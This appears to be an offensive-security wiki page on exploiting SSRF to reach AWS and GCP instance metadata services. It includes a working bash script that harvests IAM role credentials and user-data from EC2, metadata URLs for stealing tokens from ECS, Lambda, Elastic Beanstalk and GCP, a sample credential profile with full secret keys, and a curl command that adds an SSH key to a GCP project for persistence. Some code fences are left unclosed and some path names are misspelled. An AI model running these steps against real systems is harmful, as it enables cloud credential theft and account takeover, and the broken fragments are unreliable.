## AWS

### Abusing SSRF in AWS EC2 environment

**The metadata** endpoint can be accessed from inside any EC2 machine and offers interesting information about it. It's accesible in the url: `http://169.254.169.254` ([information about the metadata here](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).

There are **2 versions** of the metadata endpoint. The **first** one allows to **access** the endpoint via **GET** requests (so any **SSRF can exploit it**). For the **version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), you need to ask for a **token** sending a **PUT** request with a **HTTP header** and then use that token to access the metadata with another HTTP header (so it's **more complicated to abuse** with a SSRF).

You can find information about the [metadata endpoints in the docs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). In the following script some interesting information is obtained from it:

```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

aws_req=""
if [ "$(command -v curl)" ]; then
    aws_req='curl -s -f -H "$HEADER"'
elif [ "$(command -v wget)" ]; then
    aws_req='wget -q -O - -H "$HEADER"'
else 
    echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi

echo ""

for mac in $($aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do 
  echo "Mac: $mac"
  printf "Owner ID: "; $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""

echo ""
echo "IAM Role"
$aws_req "$URL/iam/info"
for role in $($aws_req "$URL/iam/security-credentials/" 2>/dev/null); do 
  echo "Role: $role"
  $aws_req "$URL/iam/security-credentials/$role"; echo ""
  echo ""
done

echo ""
echo "User Data"
# Search hardcoded credentials
$aws_req "http://169.254.169.254/latest/user-data"
```

As a publicly available IAM credentials exposed example you can visit: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)

You can then take **those credentials and use them with the AWS CLI**. This will allow you to do **anything that role has permissions** to do.

To take advantage of the new credentials, you will need to crate a new AWS profile like this one:

```
[profilename]
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
```

Notice the **aws\_session\_token**, this is indispensable for the profile to work.

[**PACU**](https://github.com/RhinoSecurityLabs/pacu) can be used with the discovered credentials to find out your privileges and try to escalate privileges

### SSRF in AWS ECS (Container Service) credentials

**ECS**, is a logical group of EC2 instances on which you can run an application without having to scale your own cluster management infrastructure because ECS manages that for you. If you manage to compromise service running in **ECS**, the **metadata endpoints change**.

If you access _**http://169.254.170.2/v2/credentials/\<GUID>**_ you will find the credentials of the ECS machine. But first you need to **find the \_\<GUID>**\_ . To find the \<GUID> you need to read the **environ** variable **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** inside the machine.\
You could be able to read it exploiting an **Path Traversal** to _file:///proc/self/environ_\
\_\_The mentioned http address should give you the **AccessKey, SecretKey and token**.

```bash
curl "http://169.254.170.2/$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2/$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```

### SSRF for AWS Lambda <a href="#6f97" id="6f97"></a>

In this case the **credentials are stored in env variables**. So, to access them you need to access something like `file:///proc/self/environ`.\
Moreover, in addition to IAM credentials, Lambda functions also have **event data that is passed to the function when it is started**. This data is made available to the function via the [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html). Unlike IAM credentials, this data is accessible over standard SSRF at `http://localhost:9001/2018-06-01/runtime/invocation/next`.

### SSRF URL for AWS Elastic Beanstalk <a href="#6f97" id="6f97"></a>

We retrieve the `accountId` and `region` from the API.

```
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```

We then retrieve the `AccessKeyId`, `SecretAccessKey`, and `Token` from the API.

```
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```

![](https://miro.medium.com/max/60/0\*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0\*4OG-tRUNhpBK96cL)

Then we use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.

## GCP <a href="#6440" id="6440"></a>

You can [**find here the docs about metadata endpoints**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).

### SSRF URL for Google Cloud <a href="#6440" id="6440"></a>

Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True" and you can access the metadata endpoint in with the following URLs:

* http://169.254.169.254
* http://metadata.google.internal
* http://metadata

Interesting endpoints to extract information:

```bash

Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)

```
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```

### Add an SSH key <a href="#3e24" id="3e24"></a>

Extract the token

```
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
```

Check the scope of the token

```
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  { 
        "issued_to": "101302079XXXXX", 
        "audience": "10130207XXXXX", 
        "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", 
        "expires_in": 2443, 
        "access_type": "offline" 
}
```

Now push the SSH key.

```
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" 
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA" 
-H "Content-Type: application/json" 
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
